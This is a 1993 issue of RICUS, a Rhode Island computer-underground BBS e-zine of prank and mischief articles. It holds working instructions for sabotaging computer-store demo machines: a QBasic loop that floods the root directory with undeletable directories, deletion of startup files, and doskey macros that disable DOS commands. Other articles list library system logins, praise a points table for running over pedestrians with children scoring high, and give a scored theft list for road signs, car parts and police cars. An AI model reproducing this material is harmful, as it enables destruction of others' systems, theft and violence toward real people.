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| |___) | | | | (_ | Rhode Island Computer | Volume 2, Issue 3 |
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| | \ | |__ |__| __) | Underground Society | June-July, 1993 |
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|______________________|_______________________|_____________________|
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RICUS Table of Contents 2.03
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1 ... Introduction
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2 ... Wanted: Souls
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3 ... BBS Censorship
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4 ... Computer Store Abuse
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5 ... CLAN Information Update
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6 ... List of Equal Access Codes
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7 ... Driving
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8 ... Scavenger Hunt
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9 ... Closing
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1: Introduction
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---------------
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Well! It's time for another issue... We didn't get any feedback on
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the last one, except one person said he had fun looking up books at
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the library from home. It's always nice to hear some of this stuff
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actually being applied.
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I sometimes wonder if the RICUS name is appropriate any longer.
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"Computer Underground" really has very little to do with it as a whole,
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it's mostly just miscellaneous ramblings. Ah well.. It's a nice acronym,
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anyways.
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By the way, the correct pronunciation of "RICUS" is _not_ "rickus",
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but "rye-kus." The accent is in the first syllable, and the "I" is a
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long one, not a short one. What's that have to do with anything? Well,
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I just had to clarify that...
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The Implementor
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(yep, I changed the ol' "pen handle" again...
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...or is this someone different?)
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2: Wanted: Souls
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Ever been really fed up with the concept of "Going to Hell" if you are'ne
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a good little doobie? Perhaps you like the concept of evil but are afraid of
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eternal damnation? Well, whatever your reason for disliking the modern
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religious punishment/reward system, I have the solution for you! Before I
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tell you what it is, I'd like to assure you that I am not at all aphiliated
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with God, Allah, Satan, Zeus, Tiamat, or any other deity.
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The solution, you ask? Give me your soul. Yes, I know, this sounds
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rather drastic, but I'm quite serious. The only reason you don't do all the
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things you really want to do is because you're afraid of being punished in
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the afterlife. So, by giving me your soul, you can be assured that no such
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afterlife will happen, and therefore no punishment for your actions will
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occur after you die.
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Now, many of you will want to know what happens to you after death if you
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don't have a soul, right? Well, its simple. When you agree to give me your
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soul, you won't notice anything. But, upon death, instead of going to heaven
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or hell or wherever, your soul is absorbed into my own, and you quite quietly
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and peacefully cease to exist, for all practical purposes. You just slip into
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blissfull oblivion. Sounds painless enough, does'ne it? Well its just that
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easy. Also, for those of you who want to live forever or are afraid of the
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concept of ceasing to exist, one could view my having your soul as you
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existing for as long as I do, as your energy is assimilated by me.
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Why do I want your souls? True, I have just said that they are bothersome,
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but that is only true if you have just one. Every soul you has when you die
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gives you aditional power in the afterlife. So, while one soul is only enough
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to let you be controlled by the deity which you worship, a few extra lets you
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be independant. And if you get enough souls before dying, you can even get
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a bit more power over living things! So, as you can see, I'm not just being
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a hypocrit and trying to trick you out of your souls. I'm simply trying to
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free you from the chains of oppressive deities.
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If you are interested, leave mail to "PLA" on any of the following RI
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boards:
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Cerebral Babylon
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Dezrojard's Keep
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Ministry of Knowledge
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Morlock's Tower
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Total Perspective Vortex
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Vampire Bytes
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- PLA
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3: BBS Censorship
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Information, mostly in the form of textfiles, is the commodity of all of
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cyberspace. Usually proclaimed "illegal" on the larger, professional BBSes,
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such information only turns up on the relatively small boards.
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RICUS has obtained some amusing captures from one of the states larger
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psuedo-professional BBSes, concerning the uploading of such text files:
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Names have been blotted out to protect both the innocent and guilty.
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Date: <date> (<time>) Number: 4195 of 5405 (Refer# NONE)
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To: <name of user>
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From: <name of co-sysop>
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Subj: LEGALHI2.ZIP
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Read: <date> (<time>) Status: PUBLIC MESSAGE
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SIG: <a bbs> MAIN (0) Read Type: GENERAL (+) HAS REPLIES
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Hi <first name of user>,
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You uploaded a file called LegalHi2.zip.... Here's the description
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you entered...
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LEGALHI2.ZIP 20022 04-19-93 This interesting file lists ways to LEGALLY
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get high. All of it is perfectly legal, of
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course. None of it is illegal.
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Files: 1 Oldest: 04/18/93 Newest: 04/18/93
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Uploaded by: [<name of user>]
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I reveiwed the file and don't know what you were thinking when you
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uploaded it... The following it the first few lines of the file...
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>The information presented herein is for ENTERTAINMENT PURPOSES ONLY and
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>can be found in ethnobotanical literature. Most (if not all) of the
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>substances listed in this faq are illegal to ingest and/or possess.
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>The authors and editors assume no responsibility should the information
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>presented here be used, misused, misunderstood, inaccurate or even
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>read. Reading this faq constitutes an agreement to these terms. If you
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>are afraid you might be tempted to use any of the substances mentioned
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>here in illegal ways when presented with the knowledge to do so, STOP
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>READING NOW.
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>
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>Many of the botanicals listed here are highly toxic and deadly. Always
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>keep them away from children.
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With recent events on the board that resulted in your being placed on a
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probationary status I would have thought you would be more careful.
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Please make sure you are familiar with the files you are uploading.
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Files promoting illegal and/or dangerous activities are NOT
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acceptable!! (Consider this message an official warning.)
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<a cosysop>
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Sysop Team
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---
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OLX 2.1 TD Some men without a god are like fish without bicycles.
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-----------------------------------------------------------------------
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<Gasp!> God forbid someone upload a textfile! Did you know you can find
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such dangerous information is virtually any library?
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Might text files be more interesting than dozens of CD-ROMS full of old,
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dysfunctional, mostly useless shareware?
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If you examine the top of this file, you'll find it reads:
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>From: cavasin@MUSE.CONVEX.COM (Vince Cavasin)
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>Date: 1 May 92 05:00:07 GMT
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>Newsgroups: alt.drugs
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>Subject: [l/m 2/6/92] NATURAL HIGHS FAQ (biweekly post)
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>This is an automatically generated bi-weekly posting of the nat.highs faq. If
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>you'd like to add a topic or have comments or suggestions, please send me
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>email.
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Infact, this file was posted INTERNATIONALLY on a network (Usenet), where it
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was initially taken from. It is, by no means, illegal.
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Well, <a cosysop>, if you ever read this, he was probably thinking of
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attracting your attention when he uploaded it, and that's exactly what you
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gave him.
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4: Computer Store Abuse
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Have you ever walked into a Rat Shack or other computer store, looking for
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something you know they probably won't have?
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The dozens of computers before you present an excellent opportunity for
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sabotage. If you are creative, you should have discovered this for yourself.
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If you are not, here are some things you can do:
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BTW, make sure the sales dude is busy, since you don't want those fools
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coming over and bothering you. Now, I will assume you are abusing a MS-DOS
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machine, hopefully a 386 or higher with a large hard drive.
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First, most likely the machine will be running some awful Windows or Prodigy
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demo. See if you can exit to DOS. If an Exit-to-DOS option isn't clear, reboot
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the computer with Alt-Ctrl-Del or hit the reset button. It looks suspicious
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to actually flip switches, so try to avoid it. Now, hold down Ctrl-Break
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as soon as the damn thing's done with the memory test. You should be in DOS.
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If you are not, they probably have some Ctrl-Break handler installed in
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config.sys to prevent sabotage. This will be highly unlikely, of course, but
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it's always possible. If this is the case, simply move to another machine.
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Now, on to the actual sabotage.
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Firstly, you could format the HD outright. I wouldn't advise this. It is
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not my style.
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I'd much rather create annoying directories on their hard disk. First off,
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go into QBasic or whatever BASIC happens to be on their HD.
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Enter the following BASIC program:
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10 chdir "\"
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20 for i = 1 to 300
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30 dirname$=""
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40 for x=1 to 8
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50 dirname$=dirname$+chr$((rnd(1)*39)+179)
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60 next x
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70 print "Making Directory";dirname$
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80 mkdir dirname$
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90 next i
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What does that do? It'll make up to 300 directories on their hard drives
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root dir. They won't be able to delete them with the normal DOS RD command.
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The directories will be made out of IBM extended ASCII line characters.
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To see what the program does, set up a RAM drive or something and run it
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on that drive.
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Note that DOS will probably hit it's root dir limit before directory 300.
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If you want more directories, DELete AUTOEXEC.BAT and CONFIG.SYS. Then run
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the program again. (Use basic SHELL to shell to DOS...) Now, they're little
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demo won't run anymore when the computer reboots. Also, they won't be able to
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make a new CONFIG.SYS or AUTOEXEC.BAT because you've filled up their root
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directory with those hard-to-delete special directories. For a good laugh,
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do a DIR after you run the program! It looks really funny!
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I set up a RAM drive on one of my computers to test it out. Here's what the
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root dir looks like after I ran the program with QuickBasic:
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Volume in drive G is MS-RAMDRIVE
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Directory of G:\
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<EFBFBD><EFBFBD>þ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <DIR> 05-17-93 8:45p
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <DIR> 05-17-93 8:45p
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <DIR> 05-17-93 8:45p
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.
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. [etc...]
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.
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ط<EFBFBD><EFBFBD>ʙɽ <DIR> 05-17-93 8:45p
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<EFBFBD><EFBFBD><EFBFBD>Ϲ<EFBFBD><EFBFBD><EFBFBD> <DIR> 05-17-93 8:45p
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ڽ<EFBFBD>δ<EFBFBD>η <DIR> 05-17-93 8:45p
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63 file(s) 0 bytes
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30208 bytes free
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Disgusting, isn't it?
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Other forms of creative sabotage are also available. First, find out what
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version of DOS they are running. It'll probably be version 5 or 6 by now. Now,
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find out what dir their DOS directory is. It's probably C:\DOS or something.
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Edit the AUTOEXEC.BAT. Makesure it runs DOSKEY (found in the DOS dir, so
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add something like C:\DOS\DOSKEY if they're not already running it.) Doskey
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is the MS-DOS macro program. Also, makesure the DOS dir is in their path...
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Now, at the end of the AUTOEXEC.BAT, add the following lines:
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doskey dir=cls
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doskey cd=cls
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doskey help=cls
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doskey edit=cls
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doskey ver=cls
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doskey md=cls
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doskey mkdir=cls
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doskey format=cls
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doskey del=cls
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doskey erase=cls
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[etc... etc...
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add "doskey (any command you want to blank out)=cls" until you've
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locked out all the commands you want... ]
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doskey doskey=cls
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You are effectively locking out any DOS command and changing it to CLS. This
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is truly horrible, since the computers DOS will appear non-functional! Also,
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why not take the demo or whatever out of the autoexec.bat while you're at
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it... Doskey is changed to CLS at the end so they can't disable your macros.
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Of course, they could control-break the autoexec.bat, but there's not much you
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can do about that.
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Well, that concludes this installment of computer store system sabotage. Have
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fun, and if you get caught doing it tell them you were just fooling around.
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5: CLAN Info Update
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This is a list of CLAN library identifiers and logins for
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the CLAN systems. Take a look at the last issue of RICUS issue 2.02,
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for complete info on CLAN, the RI library network.
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Also, there is another CLAN dialup at (401) 521-4464.
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This dialup supports 2400 bps w/MNP, and is preferable to the one
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given in the last RICUS.
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**** Thanks to Lord Soth for contributing the following list ****
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CLAN Login Names
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Login Library Name
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arlpub Arlington Branch
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aubpub Auburn Branch
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barpub Barrington Public Library
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bripub Rogers Free Library
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cfapub Central Falls Free Public Library
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chapub Cross Mills Public Library
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clapub Clark Memorial Library
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covpub Coventry Public Library
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crapub Cranston Public Library
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cumpub Cumberland Public Library
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dslpub Dept. of State Library Services
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egrpub East Greenwich Free Library
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epfpub Fuller Branch
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eplpub East Providence Public Library
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eprpub Rumford Branch
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epvpub Riverside Branch
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esmpub East Smithfield Public Library
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fptpub Fox Point Branch
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gvlpub Greenville Public Library
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halpub William Hall Branch
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hpepub Hope Library
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jampub Jamestown Philomenian Library
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johpub Marian J. Mohr Memorial Library
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kmapub Knight Memorial Branch
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knvpub Knightsville Branch
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linpub Lincoln Public Library
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midpub Middletown Public Library
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mtppub Mount Pleasant Branch
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narpub Narragansett Public Library
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nbkpub Newport Bookmobile
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nkipub North Kingstown Free Library
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nprpub North Providence Union Free Library
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nptpub Newport Public Library
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nsmpub North Smithfield Public Library
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oakpub Oaklawn Branch
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olnpub Olneyville Branch
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pawpub Pawtucket Public Library
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porpub Portsmouth Free Public Library
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propub Providence Public Library
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rocpub Rochambeau Branch
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scipub North Scituate Public Library
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skhpub Robert Beverly Hale Branch
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skipub South Kingstown Public Library
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skkpub Kingston Free Branch
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smhpub Smith Hill Branch
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sprpub South Providence Branch
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tivpub Tiverton Library Services (Essex)
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tntpub North Tiverton Branch
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tunpub Union Branch
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wanpub Wanskuck Branch
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wappub Apponaug Branch
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warpub Warwick Public Library
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wcopub Conimicut Branch
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wespub Westerly Public Library
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wnopub Norwood Branch
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wnspub Woonsocket Harris Public Library
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wpkpub Washington Park Branch
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wrrpub George Hail Free Library
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wwapub West Warwick Public Library
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Sheesh!! I didn't know the state _HAD_ that many libraries! This doesn't
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include college libraries. They're seperate -- we'll show you some of those
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in a future issue.
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6: List of Equal Access Codes
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There's 100s of long distance companies out there for you to use.
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Most people are signed up for AT&T, MCI, Sprint, or something else as their
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default carrier. You can, however, select other carriers.
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Here's how:
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Dial 10xxx+1+ACN
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xxx is the 3 digit equal access code.
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ACN is the area code+number of the place you're calling.
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You can also you 10xxx+0+ACN for "operator assisted" dialing.
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Ever wanted a list of all the long distance equal access codes?
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### Long Distance Company Name
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001 MidAmerican LD (Republic Telecom)
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002 [ATC] AmeriCall LDC
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003 RCI Corporation
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006 [AmeriCall]
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007 Tel America
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008 [Tele-Fiber Net]
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011 [Metromedia<>ITT] Metromedia Long Distance
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012 Charter Corporation (Tri-J)
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013 Access Services
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021 Mercury
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022 MCI Telecommunications
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023 Texnet
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024 Petricca Communications Systems
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028 Texnet
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030 Valu-Line of Wichita Falls
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031 [ATC] {Telus} Teltec Saving Communications
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033 US Sprint
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036 Long Distance Savers
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039 Electronic Office Centers of America (EO/Tech)
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042 First Phone
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044 Allnet Communication Services (LDX, Lexitel)
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053 American Network (Starnet)
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056 American Satellite
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057 Long Distance Satellite
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059 COMNET
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060 Valu-Line of West Texas
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063 COMNET
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066 [Allnet]
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069 V/COM
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070 National Telephone Exchange
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080 AMTEL Systems
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084 Long Distance Service (LDS)
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085 WesTel
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088 Satellite Business Systems (MCI)
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089 Telephone Systems
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090 WesTel
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093 Rainbow Communications
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095 Southwest Communications
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096 Flex Communications
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099 AmeriCall
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122 RCA Global Communications
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137 All America Cables and Radio (ITT)
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142 First Phone
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146 ARGO Communications
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188 [MCI] Satellite Business Systems
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201 PhoneNet
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202 ExecuLines
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203 Cypress Telecommunications (Cytel)
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204 United Telephone Long Distance
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206 United Telephone Long Distance
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211 RCI
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212 Call US
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213 Long Distance Telephone Savers
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214 Tyler Telecom
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215 Star Tel of Abilene
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217 Call US
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219 Call USA
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220 Western Union Telegraph
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222 MCI Telecommunications (SBS)
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223 Cable & Wireless Communication (TDX)
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224 American Communications
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227 ATH Communications (Call America)
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229 Bay Communications
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232 Superior Telecom
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233 Delta Communications
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234 [ACC Long Distence] AC Teleconnect (Alternative Communication)
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237 Inter-Comm Telephone
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239 Woof Communications (ACT)
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241 American Long Lines
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242 Choice Information Systems
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244 Automated Communications
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245 Taconic Long Distance Service
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250 Dial-Net
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252 Long Distance/USA
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253 Litel Telecommunications
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255 All-State Communications
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256 American Sharecom
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258 [Metronet]
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260 Advanced Communications Systems
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263 Com Systems (Sun Dial Communications)
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268 Compute-A-Call
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272 Bell of PA
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276 CP National (American Network, Starnet)
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282 [Action Telecom]
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284 American Telenet
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286 [CTI] Clark Telecommunications
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287 ATS Communications
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288 AT&T Communications
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298 Thriftline
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302 Austin Bestline
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303 MidAmerican LD (Republic Telecom)
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311 SaveNet (American Network, Starnet)
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318 Long Distance Savers
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321 [MCI] {Telecom*USA} Southland Systems
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322 American Sharecom
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324 First Communication
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331 Texustel
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333 US Sprint
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336 Florida Digital Network
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338 Midco Communications
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339 Communication Cable Laying
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343 Communication Cable Laying
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345 AC Teleconnect (Alternative Communication)
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350 Dial-Net
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355 US Link
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357 Manitowoc Long Distance Service
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362 Electronic Office Centers of America (EO/Tech)
|
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363 Tel-Toll (Econ-O-Dial of Bishop)
|
||
369 American Satellite
|
||
373 Econo-Line Waco
|
||
375 Wertern Union Telegraph
|
||
385 The Switchboard
|
||
393 Pioneer Telephone/Execulines of Florida
|
||
400 American Sharecom
|
||
404 MidAmerican LD (Republic Telecom)
|
||
412 Penn Telecom
|
||
428 Inter-Comm Telephone
|
||
432 Lightcall
|
||
435 Call-USA
|
||
436 Indiana Switch
|
||
440 Tex-Net
|
||
441 Escondido Telephone
|
||
442 First Phone
|
||
444 Allnet Communication Services (LDX, Lexitel)
|
||
455 Telecom Long Distance
|
||
456 ARGO Communications
|
||
462 American Network Services
|
||
464 Houston Network
|
||
465 Intelco
|
||
466 International Office Networks
|
||
469 GMW
|
||
472 Hal-Rad Communications
|
||
480 Chico Telecom (Call America)
|
||
488 [Metromedia<>ITT] United States Transmission Systems (ITT)
|
||
505 San Marcos Long Distance
|
||
515 Burlington Telephone
|
||
529 Southern Oregon Long Distance
|
||
532 Long Distance America
|
||
533 Long Distance Discount
|
||
536 Long Distance Management
|
||
550 Valu-Line of Alexandria
|
||
551 Pittsburg Communication Systems
|
||
552 First Phone
|
||
555 TeleSphere Networks
|
||
566 Cable & Wireless Communication (TDX)
|
||
567 Advanced Marketing Services (Dial Anywhere)
|
||
579 Lintel System (Lincoln Telephone LD)
|
||
590 Wisconsin Telecommunications Tech
|
||
599 Texas Long Distance Conroe
|
||
601 Discount Communications Services
|
||
606 Biz Tel Long Distance Telephone <ATC - reseller>
|
||
622 Metro America Communications
|
||
634 Econo-Line Midland
|
||
646 Contact America
|
||
652 [NJB]
|
||
654 Cincinnati Bell Long Distance
|
||
655 Ken-Tel Service
|
||
660 Tex-Net
|
||
666 Southwest Communications
|
||
675 Network Services
|
||
680 Midwest Telephone Service
|
||
682 Ashland Call America
|
||
684 Nacogdoches Telecommunications
|
||
687 NTS Communications
|
||
700 Tel-America
|
||
704 Inter-Exchange Communications
|
||
707 Telvue
|
||
709 Tel-America
|
||
717 Pass Word
|
||
726 Procom
|
||
727 Conroe-Comtel
|
||
732 [AT&T - private net]
|
||
735 Marinette-Menominee Lds
|
||
737 National Telecommunications
|
||
741 [ATC] ClayDesta
|
||
742 Phone America of Carolina
|
||
743 Peninsula Long Distance Service
|
||
747 Standard Informations Services
|
||
751 Touch One <ATC - reseller>
|
||
755 Sears Communication
|
||
757 Pace Long Distance Service
|
||
759 [USS] Telenet Communication (US Sprint)
|
||
760 American Satellite
|
||
766 Yavapai Telephone Exchange
|
||
771 [MCI] {Telecom*USA/SoutherNet/Southland} Telesystems
|
||
777 US Sprint
|
||
785 Olympia Telecom
|
||
786 Shared Use Network Service
|
||
787 Star Tel of Abilene
|
||
788 ASCI's Telepone Express Network
|
||
789 [ATC] Microtel
|
||
792 Southwest Communications
|
||
800 Satelco
|
||
801 MidAmerican LD (Republic)
|
||
810 [Logicall]
|
||
824 [ATC] <Transcall ?>
|
||
827 TCS Network Services
|
||
833 Business Telecom
|
||
835 [MCI] {Telecom*USA/Teleconnect}
|
||
839 Cable & Wireless Communication (TDX)
|
||
847 VIP Connections
|
||
850 TK Communications
|
||
852 [MCI] {Telecom*USA/SouthernNet} Telecommunicatons Systems
|
||
859 Valu-Line of Longview
|
||
862 [ATC] {SouthTel}
|
||
866 Alascom
|
||
872 Telecommunications Services
|
||
874 Tri-Tel Communications
|
||
879 Thriftycall (Lintel Systems)
|
||
881 Coastal Telephone
|
||
882 Tuck Data Communications
|
||
883 TTI Midland-Odessa
|
||
884 TTI Midland-Odessa
|
||
885 The CommuniGroup
|
||
888 [MCI] Satellite Business Systems (MCI)
|
||
895 Texas on Line
|
||
897 Leslie Hammond (Phone America)
|
||
898 [MCI] Satellite Business Systems (MCI)
|
||
910 Montgomery Telamarketing Communication
|
||
915 Tele Tech
|
||
933 North American Communications
|
||
936 Rainbow Commuinications
|
||
937 Access Long Distance
|
||
938 Access Long Distance
|
||
951 Transamerica Telecommunications
|
||
955 United Communications
|
||
960 Access Plus
|
||
963 Tenex Communications
|
||
969 Dial-Net
|
||
985 America Calling
|
||
986 MCI Telecommunications (SBS)
|
||
987 ClayDesta Communications
|
||
988 Western Union Telegraph
|
||
991 Access Long Distance
|
||
999 [Metromedia<>ITT]
|
||
|
||
Sheesh!! There's a lot of LD companies out there...
|
||
|
||
Please note that you will not be able to use some of these carriers. Many
|
||
carriers will refuse to put calls through from numbers that have not signed
|
||
up for their service.
|
||
|
||
Note that making a call through another LD carrier, instead of your default
|
||
one, will probably delay the bill by many months. This has it's uses -- since
|
||
it'll be easier to convince your parents that you never made that call, etc.
|
||
|
||
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|
||
7: Driving
|
||
----------
|
||
Has this ever happened to you?
|
||
|
||
You're driving down the street minding your own business when an idiot or
|
||
several idiots jump out in front of your car and almost cause you to get into
|
||
an accident...
|
||
|
||
Well fear no more! Now, yes NOW, you have a REASON not to swerve out of the
|
||
way...
|
||
|
||
What is this reason? Is it some Carte Blanche or Diplomatic Immunity?
|
||
Nope, nothing like that. You can still be prosecuted to the fullest extent of
|
||
the law as of right now for vehicular homicide, but hey what's a little fun
|
||
every once in awhile... And now I give to the Great American Masses:
|
||
|
||
The UNOFFICIAL Pedestrian Scoring Sheet
|
||
|
||
Toddlers / Children 70 points
|
||
(Any child 0-12 years of age, any sex)
|
||
Teenagers 40 points
|
||
(Any child 13-19 years of age, any sex)
|
||
Adult Men 5 points
|
||
(Any male between the ages of 20-39)
|
||
Mature Men 15 points
|
||
(Any male between the ages of 40-74)
|
||
Adult Women 10 points
|
||
(Any female between the ages of 20-39)
|
||
Mature Women 30 points
|
||
(Any female between the ages of 40-74)
|
||
Elderly 100 points
|
||
(Any person over 75 years of age, any sex)
|
||
|
||
|
||
Just a few other points worth mentioning:
|
||
|
||
1> The age is an approximation of the individual. If questions arise, a guess
|
||
is fine. Do NOT get out of the car to ask for their age (don't be stupid),
|
||
just drive on.
|
||
|
||
2> The race of a person is irrelevant. This is not an exercise in bigotry,
|
||
just good, clean fun!
|
||
|
||
3> Points will only be given for clean kills. No near hits. No slightly
|
||
wounded or grazed, just street pizzas.
|
||
|
||
4> We have intentionally left out animals for sake of simplicity. It seems
|
||
that everybody has their own opinion of what is worth what based on their
|
||
opinion. We feel that a flat rate would be fine in most cases, but others
|
||
disagree. An update will be posted (You can sure see a lot of critters out
|
||
on the roads after midnight) if there is enough interest, but for now it is
|
||
up to the individual how animals would / should be scored.
|
||
|
||
5> Very Important Idiots should be worth approximately 2 to 3 times normal
|
||
point values. Once again, debate over as to who should qualify as to who
|
||
exactly should be worth more. As point 4, any interest will generate an
|
||
update to the scoring sheet. (NOTE: It has been STRONGLY AGREED ON that
|
||
all religious figures should be worth AT LEAST double point value).
|
||
|
||
6> Also, it seems that some drivers enjoy just opening car doors in the path
|
||
of traffic. At this point there is no point value assigned to obstacles
|
||
and other stationary targets, for they lack the challenge of a moving
|
||
target, but as in points 4 and 5, you may never know what may happen in the
|
||
future...
|
||
|
||
|
||
That should just about wrap up this edition of the UNOFFICIAL Pedestrian
|
||
Scoring Sheet, but stay tuned in future editions of RICUS for possible
|
||
updates. Any suggestions, comments, and related ilk should be presented
|
||
in the correct circles...
|
||
|
||
This article was made possible by the makers of one of the best B-budget
|
||
movies of all time: Deathrace 2000. Although the scoring system was brief,
|
||
and in many cases, contradictory during the movie. The scoring system was
|
||
extrapolated upon by Three-D and presented in this form as of the time of this
|
||
writing. Plans are under way in order to bring you more, but interest will
|
||
determine whether or not these updates will be made available to the general
|
||
public...
|
||
|
||
[Editor's Note: RICUS in no way condones the transformation of innocent
|
||
pedestrians into "street pizzas." This article was presented for your personal
|
||
amusement and in the interest of free expression. RICUS will not take any
|
||
responsibility for psychotic acts committed because of it. ]
|
||
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|
||
8: Scanvenger Hunt
|
||
------------------
|
||
|
||
When I was still in high school, my cousin managed to get involved in the
|
||
midnight scavenger hunts that were all the rage back in the mid 1980s. You
|
||
know, the fun ones that occur between midnight and some pre-determined time
|
||
usually a bit after sunrise. The ones in which you had to find a bunch of
|
||
hard-to-acquire to near-impossible-to-acquire items for a given point value.
|
||
Well, since you were allowed a group of X ammount of people I was given the
|
||
oppourtunity to partake in this adolesent ritual and found it to be one of the
|
||
more creative nights of my life. (It definately takes some creativity in order
|
||
to get some of these things). Now I give to you:
|
||
|
||
The 1993 Unofficial Scavener Hunt Basics
|
||
----------------------------------------
|
||
|
||
(Since there probably is one going on secretly
|
||
somewhere now that the weather is getting better
|
||
and better).
|
||
|
||
|
||
Rules are simple:
|
||
|
||
1> DON'T get caught.
|
||
2> Find item, get item, bring item to scoring area, get points for item.
|
||
3> No telling cops where the scoring area is or who is involved (duh!).
|
||
(Many a low scoring night were possible due to increased cop activity).
|
||
4> I have seen teams go from individuals, a given ammount of people, and
|
||
complete free-for-alls. Organizers discression.
|
||
5> Don't get caught.
|
||
7> Have FUN!
|
||
8> Don't get caught.
|
||
|
||
Okay, now that the basics are defined. It goes without saying that some form
|
||
of transport is recommended. Hatchbacks are a good choice, but pickups and
|
||
vans seem to be the choice of the serious, die-hard scavengers...
|
||
|
||
Now a scavenger hunt wouldn't be any kind of fun if it weren't for the list.
|
||
For those of you who never did this or haven't a clue, there was a copy of the
|
||
list given to each team just before the start of the event, items changed
|
||
frequently to avoid pre-event shopping. They were ususally sealed in
|
||
envelopes for those times when (god help you) the cops were wondering what
|
||
you were doing with a trck full of stuff. Wandering eyes are always deadly in
|
||
these situations, and a found list were usually the bane of the entire night.
|
||
Anyways, here is just a sample list:
|
||
|
||
Road/Street Signs Point Value
|
||
----------------- -----------
|
||
Stop 60
|
||
Dip in Road 80
|
||
Flagger Ahead 80
|
||
Road/Street Signs 50
|
||
Slow Children 80
|
||
Children Playing 60
|
||
(With or without the "P" painted over)
|
||
School Zone 60
|
||
No Parking 60
|
||
Light Ahead 70
|
||
Yield 60
|
||
Construction Ahead 60
|
||
(also covers the group of signs)
|
||
(Construction Ahead: XXXX Feet)
|
||
Dead End 50
|
||
Speed Limit Signs 3 times the posted
|
||
speed limit in points
|
||
|
||
Cones/Construction Markers
|
||
--------------------------
|
||
Small Cones 15
|
||
Large Cones 20
|
||
Triangular Reflectors 50
|
||
Orange barrels, plastic, unweighted 25
|
||
Orange barrels, plastic, weighted 35
|
||
Orange barrels, metal 50
|
||
|
||
|
||
Items Obtained From Cars
|
||
------------------------
|
||
Lug nut, each 20
|
||
Hubcaps, complete set 50
|
||
Hubcaps, individual 10
|
||
Hood Ornament 75
|
||
Radar Detector 100
|
||
Licence Plates, set of 2 matching 50
|
||
Stereo 250
|
||
Speakers, any type 2 times wattage of
|
||
speaker in points
|
||
Lighter 20
|
||
Antenna, Radio 10
|
||
Antenna, CB 30
|
||
Antenna, Cellular Phone 50
|
||
Tire, with rim 50
|
||
Drivers Licence 100
|
||
Registration 75
|
||
Car Bra 50
|
||
Fog lights, each 25
|
||
Center Caps (On wheels) 30
|
||
Car Phone 100
|
||
Louvres 30
|
||
Air freshner 10
|
||
casette / cd, each 10
|
||
Car seat, child 80
|
||
Car seat, adult (yes, normal car seat) 100
|
||
|
||
Miscellaneous
|
||
-------------
|
||
Beer, per ounce 10
|
||
Hard Liquor, per ounce 20
|
||
Store Mannequin 250
|
||
Plastic banners from stores, large 150
|
||
Cash 1 point / Dollar
|
||
Barber Shop Pole 300
|
||
PLastic Jesus Figurine 200
|
||
Mary / Virgin Mother Figurine 100
|
||
Street lights 500
|
||
Police, Ambulance, Fire Truck Flashers 1000
|
||
Shopping Cart 150
|
||
Cars 1000
|
||
Police cars 5000
|
||
|
||
|
||
This is NOT by any means a complete list. For sake of space, just a sample of
|
||
items were selected to make it to the list for a flavor of the sport. There are
|
||
literally MILLIONS of items that can be added or taken away. Fun is the key
|
||
word in selecting items for the list.
|
||
|
||
NOTE: The list changes in size and content on complete whims of the creators
|
||
as well as the point values of items, depending heavily on supply and demand
|
||
as well as hundreds of other factors. Point values are generally determined
|
||
by their availability and the effort put into obtaining the object.
|
||
|
||
|
||
Also worth mentionning that when this file was undergoing the
|
||
creation/planning stage I received a copy of the ANUS01 text file.
|
||
Unfortunately, this was also a scavenger hunt file (called the ANUS Benefit
|
||
Preferred Theft List) but still the same idea. Anyways, I felt that a How-to
|
||
file would be a little bit better since you are only young once so what the
|
||
hell..
|
||
|
||
This file is created in the memory of G. Boudreau, and his fun bunch of
|
||
friends: "Shadow" , Steve ("just Steve"), and a myriad of others who exposed
|
||
my cousin and I to the idea of the scavenger hunt with a myriad of stories of
|
||
their exploits in this summertime excursions when we were very young and very
|
||
impressionable. Without his help, we'd probably be just normal, boring kids,
|
||
but thanks to his efforts we learned that life is a lot more interesting when
|
||
the rules were bent and/or fractured occasionally...
|
||
|
||
Also, for those who are interested in a complete list as well as excerpts from
|
||
ACTUAL lists from the 60s to the 80s drop a line to the appropriate people.
|
||
Advanced planning hints, strategies, etc. will be available to interested
|
||
parties...
|
||
|
||
-------------------------------------------------------------------------------
|
||
9: Closing
|
||
----------
|
||
|
||
You know, we'd actually enjoy some articles from those old sysops who
|
||
probably hate us, even though half of them were just like us about a decade
|
||
ago. Just send em up to your nets.. or in E-Mail. You know who to send it to.
|
||
|
||
Special thanks to all the contributors! Thanks, guys!
|
||
|
||
The Implementor
|
||
|
||
PS: If you really don't know, just send it up in NE-Net Common or Fido-323,
|
||
addressed to "Those RICUS Guyz"! It looks really funny, and pisses people off.
|
||
If you want anonymity, make a fake account on a board with one of the above
|
||
nets. Plenty of systems still have the Call Back Verifier bug.
|
||
Read RICUS201.TXT if you don't know how to bypass CBVs!
|
||
|
||
____________________________________________________________________
|
||
| ___ __ __ | | |
|
||
| |___) | | | | (_ | Rhode Island Computer | Volume 2, Issue 3 |
|
||
| | \ | |__ |__| __) | Underground Society | June-July, 1993 |
|
||
|______________________|_______________________|_____________________|
|
||
|
||
|
||
|
||
|
||
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